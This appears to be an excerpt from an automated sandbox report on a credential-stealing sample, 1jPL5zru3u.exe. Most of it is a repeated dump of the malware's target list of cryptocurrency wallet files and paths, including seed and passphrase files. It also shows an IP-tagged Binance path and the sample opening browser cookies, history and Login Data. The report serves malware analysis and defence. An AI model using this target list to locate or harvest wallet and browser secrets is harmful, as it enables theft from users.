Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001A2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\Binance\simple-storage.json
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
